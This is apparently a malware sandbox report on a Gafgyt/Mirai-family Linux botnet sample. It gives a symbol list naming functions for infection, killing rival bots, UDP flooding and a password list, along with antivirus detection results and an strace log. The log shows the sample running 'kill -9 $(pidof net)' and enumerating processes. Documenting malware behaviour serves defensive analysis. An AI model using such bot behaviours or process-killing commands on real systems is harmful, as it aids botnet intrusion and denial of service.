__pthread_initialize_minimal, , __GI_recv, , echoloader, , __stdin, , stdin, , __GI_isatty, , strcasestr, , _start, , __deregister_frame_info_bases, , strstr, , __GI_ioctl, , init_rand, , rand, , signal, , read, , __decode_header, , __GI___h_errno_location, , __GI_memcpy, , strcoll, , wcsrtombs, , _stdio_user_locking, , mompleasepayfyfa, , strncpy, , strcasecmp, , htonl, , sendto, , __C_ctype_toupper, , __GI___C_ctype_b, , __GI_gethostbyname_r, , __GI_strncpy, , __libc_send, , __GI___xpg_strerror_r, , currentServer, , __GI___C_ctype_tolower, , __GI_getrlimit, , bcopy, , __GI_strcpy, , __GI_inet_ntop, , strtok, , __stdio_adjust_position, , malloc_trim, , __GI_poll, , _vfprintf_internal, , __GI_strcasestr, , fork, , __stdio_rfill, , strncat, , gotIP, , sigaction, , __GI_gethostbyname, , _dl_phdr, , __GI_getc_unlocked, , __GI___libc_fcntl64, , __uClibc_init, , __GI_munmap, , _store_inttype, , __length_dotted, , __getpagesize, , __GI_random, , __syscall_error, , __uclibc_progname, , __GI_getegid, , __GI_wait4, , __malloc_lock, , __uClibc_main, , sbrk, , __rtld_fini, , __GI_fork, , strdup, , __libc_close, , __GI_getpid, , inet_aton, , _pthread_cleanup_push_defer, , index, , processCmd, , __sigismember, , fopen, , __bss_start, , __libc_open, , getOurIP, , memset, , __GI_socket, , main, , __glibc_strerror_r, , listFork, , __GI___C_ctype_tolower_data, , __stdio_fwrite, , negotiate, , srand, , initstate, , fclose, , __syscall_rt_sigaction, , ntohs, , sendUDP, , inet_ntoa, , tcgetattr, , __C_ctype_tolower_data, , pfyfa, , time, , __libc_system, , __GI_abort, , poll, , __get_hosts_byname_r, , __stdio_init_mutex, , rangesB1, , __GI__exit, , botkiller, , strcmp, , advances2, , __nameserver, , data_start, , __GI_sysconf, , infect, , __h_errno_location, , __C_ctype_b_data, , __GI_inet_pton, , gethostbyname, , _stdio_fopen, , advance_state, , _fini, , __GI_chdir, , __vfork, , __GI_mmap, , contains_success, , sprintf, , fdgets, , __get_pc_thunk_bx, , strerror_r, , __GI_select, , __libc_waitpid, , __GI_waitpid, , _stdio_term, , __decode_answer, , __GI_signal, , stderr, , fails, , vfork, , __C_ctype_b, , srandom, , _ppfs_setargs, , __GI_sendto, , __libc_fork, , __atexit_lock, , scanPid, , rand_cmwc, , findARandomIP, , advances, , __libc_fcntl64, , getsockopt, , __GI_fseeko64, , fflush_unlocked, , __stdio_wcommit, , contains_string, , __GI___fgetc_unlocked, , __nameservers, , fwrite_unlocked, , inet_ntoa_r, , __pagesize, , _stdio_openlist_add_lock, , __GI_getdtablesize, , access, , _edata, , __stdout, , __GI_memrchr, , __GI_fflush_unlocked, , __GI_strstr, , __searchdomains, , _end, , htons, , _sigintr, , _ppfs_prepargs, , __GI_strspn, , fgetc_unlocked, , initstate_r, , __GI_connect, , __curbrk, , __libc_poll, , _dl_phnum, , _fpmaxtostr, , __errno_location, , _stdlib_strto_l, , __GI___libc_open, , exit, , __stdio_WRITE, , _stdio_init, , __GI_geteuid, , inet_ntop, , brk, , __C_ctype_toupper_data, , _dl_aux_init, , _errno, , atoi, , successes, , _stdio_openlist_del_lock, , __GI_inet_aton, , fgets_unlocked, , _exit, , szprintf, , port, , strspn, , __libc_recv, , __libc_creat, , strlen, , lseek64, , open, , toupper, , __libc_write, , __malloc_consolidate, , _ppfs_parsespec, , __GI_strtol, , __GI_getuid, , __GI_strtok_r, , __GI_errno, , __libc_sendto, , __stdio_trans2w_o, , __GI_vfork, , strchr, , __GI_rawmemchr, , __GI_raise, , __data_start, , setsid, , __GI_inet_addr, , __encode_dotted, , __GI_strnlen, , _Jv_RegisterClasses, , macAddress, , __GI___errno_location, , fcntl, , read_with_timeout, , __GI_atoi, , fseeko64, , __GI_sprintf, , __ctype_tolower, , wcrtomb, , __GI_getsockname, , close, , __libc_connect, , passwords, , __GI_strlen, , pids, , strpbrk, , _load_inttype, , rangechoice, , raise, , free, , sigprocmask, , getsockname,
Present
True check_circle
Anti-Debug
Ptrace
False cancel
Anti-disasm
False cancel
Entry Point
Address
0x8048164
Suspicious
False cancel
Embedded ELF
List
None
Identified
0
Program Header
Size
32
Number
3
Offset
52
Section Header
Size
40
Number
16
Offset
58780
AVclass
None
1
VirusTotal
md5
86c2d20ff599ee66f4a24e1375ca682e
sha1
6f1029f96a0568dfd5d289dc4fec487d3cd59daf
SCANS (DETECTION RATE = 38.98%)
AVG
result: ELF:Gafgyt-DZ [Trj]
update: 20180113
version: 17.9.3761.0
detected: True check_circle

CMC
update: 20180111
version: 1.1.0.977
detected: False cancel

MAX
update: 20180113
version: 2017.11.15.1
detected: False cancel

Bkav
update: 20180112
version: 1.3.0.9466
detected: False cancel

K7GW
update: 20180112
version: 10.37.25876
detected: False cancel

ALYac
update: 20180113
version: 1.1.1.3
detected: False cancel

Avast
result: ELF:Gafgyt-DZ [Trj]
update: 20180113
version: 17.9.3761.0
detected: True check_circle

Avira
result: LINUX/Gafgyt.fnogq
update: 20180113
version: 8.3.3.6
detected: True check_circle

Baidu
update: 20180112
version: 1.0.0.2
detected: False cancel

Cyren
update: 20180113
version: 5.4.30.7
detected: False cancel

DrWeb
result: Linux.BackDoor.Fgt.678
update: 20180113
version: 7.0.28.2020
detected: True check_circle

GData
result: Linux.Trojan.Agent.1JDSPP
update: 20180113
version: A:25.15666B:25.11347
detected: True check_circle

Panda
update: 20180113
version: 4.6.4.2
detected: False cancel

VBA32
update: 20180112
version: 3.12.28.0
detected: False cancel

VIPRE
update: 20180113
version: 63858
detected: False cancel

Zoner
update: 20180113
version: 1.0
detected: False cancel

AVware
update: 20180103
version: 1.5.0.42
detected: False cancel

ClamAV
result: Unix.Trojan.Mirai-5607483-0
update: 20180113
version: 0.99.2.0
detected: True check_circle

Comodo
update: 20180113
version: 28345
detected: False cancel

F-Prot
update: 20180113
version: 4.7.1.166
detected: False cancel

Ikarus
result: Trojan.Linux.Gafgyt
update: 20180113
version: 0.1.5.2
detected: True check_circle

McAfee
result: RDN/Generic.dx
update: 20180113
version: 6.0.6.653
detected: True check_circle

Rising
update: 20180113
version: 25.0.0.1
detected: False cancel

Sophos
result: Linux/DDoS-BI
update: 20180113
version: 4.98.0
detected: True check_circle

Yandex
update: 20180112
version: 5.5.1.3
detected: False cancel

Zillya
update: 20180112
version: 2.0.0.3466
detected: False cancel

Arcabit
update: 20180113
version: 1.0.0.827
detected: False cancel

Tencent
result: Linux.Backdoor.Gafgyt.Eckg
update: 20180113
version: 1.0.0.1
detected: True check_circle

ViRobot
update: 20180113
version: 2014.3.20.0
detected: False cancel

Webroot
update: 20180113
version: 1.0.0.207
detected: False cancel

Ad-Aware
update: 20180113
version: 3.0.3.1010
detected: False cancel

AegisLab
result: Linux.Fgt.Gen!c
update: 20180113
version: 4.2
detected: True check_circle

Emsisoft
update: 20180113
version: 4.0.2.899
detected: False cancel

F-Secure
update: 20180113
version: 11.0.19100.45
detected: False cancel

Fortinet
result: ELF/Gafgyt.WN!tr.bdr
update: 20180113
version: 5.4.247.0
detected: True check_circle

Jiangmin
update: 20180113
version: 16.0.100
detected: False cancel

Kingsoft
update: 20180113
version: 2013.8.14.323
detected: False cancel

Symantec
result: Trojan.Gen.NPE
update: 20180113
version: 1.5.0.0
detected: True check_circle

nProtect
update: 20180113
version: 2018-01-13.02
detected: False cancel

AhnLab-V3
update: 20180113
version: 3.11.3.19504
detected: False cancel

Antiy-AVL
result: Trojan/Win32.SGeneric{S:EMS}
update: 20180113
version: 3.0.0.1
detected: True check_circle

Kaspersky
result: HEUR:Backdoor.Linux.Gafgyt.az
update: 20180113
version: 15.0.1.13
detected: True check_circle

Microsoft
update: 20180113
version: 1.1.14405.2
detected: False cancel

Qihoo-360
result: Win32/Trojan.ef3
update: 20180113
version: 1.0.0.1120
detected: True check_circle

TheHacker
update: 20180112
version: 6.8.0.5.2304
detected: False cancel

ZoneAlarm
result: HEUR:Backdoor.Linux.Gafgyt.az
update: 20180113
version: 1.0
detected: True check_circle

ESET-NOD32
result: a variant of Linux/Gafgyt.WN
update: 20180113
version: 16731
detected: True check_circle

TrendMicro
result: TROJ_GEN.F04JC00H817
update: 20180113
version: 9.862.0.1074
detected: True check_circle

BitDefender
update: 20180113
version: 7.2
detected: False cancel

K7AntiVirus
update: 20180113
version: 10.37.25880
detected: False cancel

Avast-Mobile
result: ELF:Gafgyt-EA [Trj]
update: 20180113
version: 180113-06
detected: True check_circle

Malwarebytes
update: 20180113
version: 2.1.1.1115
detected: False cancel

TotalDefense
update: 20180113
version: 37.1.62.1
detected: False cancel

CAT-QuickHeal
update: 20180113
version: 14.00
detected: False cancel

NANO-Antivirus
result: Trojan.Unix.Gafgyt.eikqfj
update: 20180113
version: 1.0.100.20834
detected: True check_circle

MicroWorld-eScan
update: 20180113
version: 14.0.297.0
detected: False cancel

SUPERAntiSpyware
update: 20180113
version: 5.6.0.1032
detected: False cancel

McAfee-GW-Edition
result: RDN/Generic.dx
update: 20180113
version: v2015
detected: True check_circle

TrendMicro-HouseCall
result: TROJ_GEN.F04JC00H817
update: 20180113
version: 9.950.0.1006
detected: True check_circle

total
59
sha256
4fe58c85b8bfb67d47e2d88d8618228bb14cb3d0643b9d320a08dc2ac58dc1ad
scan_id
4fe58c85b8bfb67d47e2d88d8618228bb14cb3d0643b9d320a08dc2ac58dc1ad-1515881271
resource
86c2d20ff599ee66f4a24e1375ca682e
positives
23
scan_date
2018-01-13 22:07:51
verbose_msg
Scan finished, information embedded
response_code
1
Ltrace
Trace

Strace
Trace
4291execve"./malware"["./malware"][/* 15 vars */] 0
4291ioctl0TCGETS0xfffc0e90) = -1 ENOTTY (Inappropriate ioctl for device -1 ENOTTY (Inappropriate ioctl for device)
4291ioctl1TCGETS0xfffc0e90) = -1 ENOTTY (Inappropriate ioctl for device -1 ENOTTY (Inappropriate ioctl for device)
4291prctlPR_SET_NAME"\0/\0\0\0\0\33[0;%s%s C" 0
4291timeNULL 1571351692
4291getpid 4291
4291timeNULL 1571351692
4291getpid 4291
4291socketPF_INETSOCK_DGRAMIPPROTO_IP 3
4291connect3{sa_family=AF_INET, {sa_family=AF_INET, sin_port=htons(53), sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}sin_addr=inet_addr("8.8.8.8")}16 0
4291getsockname3{sa_family=AF_INET, {sa_family=AF_INET, sin_port=htons(54082), sin_port=htons(54082), sin_addr=inet_addr("192.168.122.147")}sin_addr=inet_addr("192.168.122.147")}[16] 0
4291open"/proc/net/route"O_RDONLY 4
4291read4"I"1 1
4291read4"f"1 1
4291read4"a"1 1
4291read4"c"1 1
4291read4"e"1 1
4291read4"\t"1 1
4291read4"D"1 1
4291read4"e"1 1
4291read4"s"1 1
4291read4"t"1 1
4291read4"i"1 1
4291read4"n"1 1
4291read4"a"1 1
4291read4"t"1 1
4291read4"i"1 1
4291read4"o"1 1
4291read4"n"1 1
4291read4"\t"1 1
4291read4"G"1 1
4291read4"a"1 1
4291read4"t"1 1
4291read4"e"1 1
4291read4"w"1 1
4291read4"a"1 1
4291read4"y"1 1
4291read4" "1 1
4291read4"\t"1 1
4291read4"F"1 1
4291read4"l"1 1
4291read4"a"1 1
4291read4"g"1 1
4291read4"s"1 1
4291read4"\t"1 1
4291read4"R"1 1
4291read4"e"1 1
4291read4"f"1 1
4291read4"C"1 1
4291read4"n"1 1
4291read4"t"1 1
4291read4"\t"1 1
4291read4"U"1 1
4291read4"s"1 1
4291read4"e"1 1
4291read4"\t"1 1
4291read4"M"1 1
4291read4"e"1 1
4291read4"t"1 1
4291read4"r"1 1
4291read4"i"1 1
4291read4"c"1 1
4291read4"\t"1 1
4291read4"M"1 1
4291read4"a"1 1
4291read4"s"1 1
4291read4"k"1 1
4291read4"\t"1 1
4291read4"\t"1 1
4291read4"M"1 1
4291read4"T"1 1
4291read4"U"1 1
4291read4"\t"1 1
4291read4"W"1 1
4291read4"i"1 1
4291read4"n"1 1
4291read4"d"1 1
4291read4"o"1 1
4291read4"w"1 1
4291read4"\t"1 1
4291read4"I"1 1
4291read4"R"1 1
4291read4"T"1 1
4291read4"T"1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4"\n"1 1
4291read4"e"1 1
4291read4"n"1 1
4291read4"s"1 1
4291read4"3"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"1"1 1
4291read4"7"1 1
4291read4"A"1 1
4291read4"A"1 1
4291read4"8"1 1
4291read4"C"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"3"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"1"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4"\t"1 1
4291read4"0"1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4" "1 1
4291read4"\n"1 1
4291close4 0
4291ioctl3SIOCGIFHWADDR{ifr_name="ens3", {ifr_name="ens3", ifr_hwaddr=52:54:00:94:44:aa}ifr_hwaddr=52:54:00:94:44:aa} 0
4291close3 0
4291rt_sigactionSIGQUIT{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [], []0}8 0
4291rt_sigactionSIGINT{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [], []0}8 0
4291rt_sigactionSIGCHLD{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [], []0}8 0
4291vfork4291 vfork(
4292rt_sigactionSIGQUIT{SIG_DFL, {SIG_DFL, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4292rt_sigactionSIGINT{SIG_DFL, {SIG_DFL, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4292rt_sigactionSIGCHLD{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}8 0
4292execve"/bin/sh"4292 execve("/bin/sh", ["sh", "-c", "kill -9 $(pidof net);\r\n"], [/* 15 vars */]
429142924291 <... vfork resumed> 4292
4291rt_sigactionSIGQUIT{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291rt_sigactionSIGINT{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291wait442924291 wait4(4292,
429204292 <... execve resumed> 0
4292brkNULL 0x55da31b03000
4292access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292access"/etc/ld.so.preload"R_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292open"/etc/ld.so.cache"O_RDONLY|O_CLOEXEC 3
4292fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=99075, st_size=99075, ...}...} 0
4292mmapNULL99075PROT_READMAP_PRIVATE30 0x7f4c1b75b000
4292close3 0
4292access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292open"/lib/x86_64-linux-gnu/libc.so.6"O_RDONLY|O_CLOEXEC 3
4292read3"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"...832 832
4292fstat3{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1868984, st_size=1868984, ...}...} 0
4292mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7f4c1b75a000
4292mmapNULL3971488PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7f4c1b185000
4292mprotect0x7f4c1b3450002097152PROT_NONE 0
4292mmap0x7f4c1b54500024576PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x1c0000 0x7f4c1b545000
4292mmap0x7f4c1b54b00014752PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS-10 0x7f4c1b54b000
4292close3 0
4292mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7f4c1b759000
4292mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7f4c1b758000
4292arch_prctlARCH_SET_FS0x7f4c1b759700 0
4292mprotect0x7f4c1b54500016384PROT_READ 0
4292mprotect0x55da308e90008192PROT_READ 0
4292mprotect0x7f4c1b7740004096PROT_READ 0
4292munmap0x7f4c1b75b00099075 0
4292getuid 1000
4292getgid 1000
4292getpid 4292
4292rt_sigactionSIGCHLD{0x55da306dd540, {0x55da306dd540, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7f4c1b1ba4b0}NULL8 0
4292geteuid 1000
4292brkNULL 0x55da31b03000
4292brk0x55da31b24000 0x55da31b24000
4292getppid 4291
4292stat"/home/ubuntu"{st_mode=S_IFDIR|0755, {st_mode=S_IFDIR|0755, st_size=4096, st_size=4096, ...}...} 0
4292stat"."{st_mode=S_IFDIR|0755, {st_mode=S_IFDIR|0755, st_size=4096, st_size=4096, ...}...} 0
4292geteuid 1000
4292getegid 1000
4292rt_sigactionSIGINTNULL{SIG_DFL, {SIG_DFL, [], []0}8 0
4292rt_sigactionSIGINT{0x55da306dd540, {0x55da306dd540, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7f4c1b1ba4b0}NULL8 0
4292rt_sigactionSIGQUITNULL{SIG_DFL, {SIG_DFL, [], []0}8 0
4292rt_sigactionSIGQUIT{SIG_DFL, {SIG_DFL, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7f4c1b1ba4b0}NULL8 0
4292rt_sigactionSIGTERMNULL{SIG_DFL, {SIG_DFL, [], []0}8 0
4292rt_sigactionSIGTERM{SIG_DFL, {SIG_DFL, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7f4c1b1ba4b0}NULL8 0
4292pipe[3, 4], 4] 0
4292clonechild_stack=0flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLDchild_tidptr=0x7f4c1b7599d0 4293
4292close4 0
4292read34292 read(3,
4293close3 0
4293dup241 1
4293close4 0
4293stat"/usr/local/sbin/pidof"0x7ffdbf752520) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293stat"/usr/local/bin/pidof"0x7ffdbf752520) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293stat"/usr/sbin/pidof"0x7ffdbf752520) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293stat"/usr/bin/pidof"0x7ffdbf752520) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293stat"/sbin/pidof"0x7ffdbf752520) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293stat"/bin/pidof"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=19056, st_size=19056, ...}...} 0
4293execve"/bin/pidof"["pidof", "net"], "net"][/* 15 vars */] 0
4293brkNULL 0x86c000
4293access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293access"/etc/ld.so.preload"R_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293open"/etc/ld.so.cache"O_RDONLY|O_CLOEXEC 3
4293fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=99075, st_size=99075, ...}...} 0
4293mmapNULL99075PROT_READMAP_PRIVATE30 0x7f1e97567000
4293close3 0
4293access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4293open"/lib/x86_64-linux-gnu/libc.so.6"O_RDONLY|O_CLOEXEC 3
4293read3"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"...832 832
4293fstat3{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1868984, st_size=1868984, ...}...} 0
4293mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7f1e97566000
4293mmapNULL3971488PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7f1e96f91000
4293mprotect0x7f1e971510002097152PROT_NONE 0
4293mmap0x7f1e9735100024576PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x1c0000 0x7f1e97351000
4293mmap0x7f1e9735700014752PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS-10 0x7f1e97357000
4293close3 0
4293mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7f1e97565000
4293mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7f1e97564000
4293arch_prctlARCH_SET_FS0x7f1e97565700 0
4293mprotect0x7f1e9735100016384PROT_READ 0
4293mprotect0x6030004096PROT_READ 0
4293mprotect0x7f1e975800004096PROT_READ 0
4293munmap0x7f1e9756700099075 0
4293chdir"/proc" 0
4293open"."O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC 3
4293fstat3{st_mode=S_IFDIR|0555, {st_mode=S_IFDIR|0555, st_size=0, st_size=0, ...}...} 0
4293brkNULL 0x86c000
4293brk0x895000 0x895000
4293getdents3/* 215 entries */32768 5528
4293open"1/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1 (systemd) S 0 1 1 0 -1 4194560"...1024 190
4293close4 0
4293open"1/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/sbin/init\0splash\0"1024 18
4293close4 0
4293stat"/proc/1/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"2/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"2 (kthreadd) S 0 0 0 0 -1 212998"...1024 149
4293close4 0
4293open"2/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/2/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"4/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4 (kworker/0:0H) I 2 0 0 0 -1 69"...1024 156
4293close4 0
4293open"4/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/4/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"6/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"6 (mm_percpu_wq) I 2 0 0 0 -1 69"...1024 156
4293close4 0
4293open"6/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/6/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"7/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"7 (ksoftirqd/0) S 2 0 0 0 -1 692"...1024 155
4293close4 0
4293open"7/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/7/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"8/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"8 (rcu_sched) I 2 0 0 0 -1 21299"...1024 152
4293close4 0
4293open"8/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/8/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"9/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"9 (rcu_bh) I 2 0 0 0 -1 2129984 "...1024 148
4293close4 0
4293open"9/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/9/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"10/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"10 (migration/0) S 2 0 0 0 -1 69"...1024 158
4293close4 0
4293open"10/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/10/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"11/stat"O_RDONLY 4
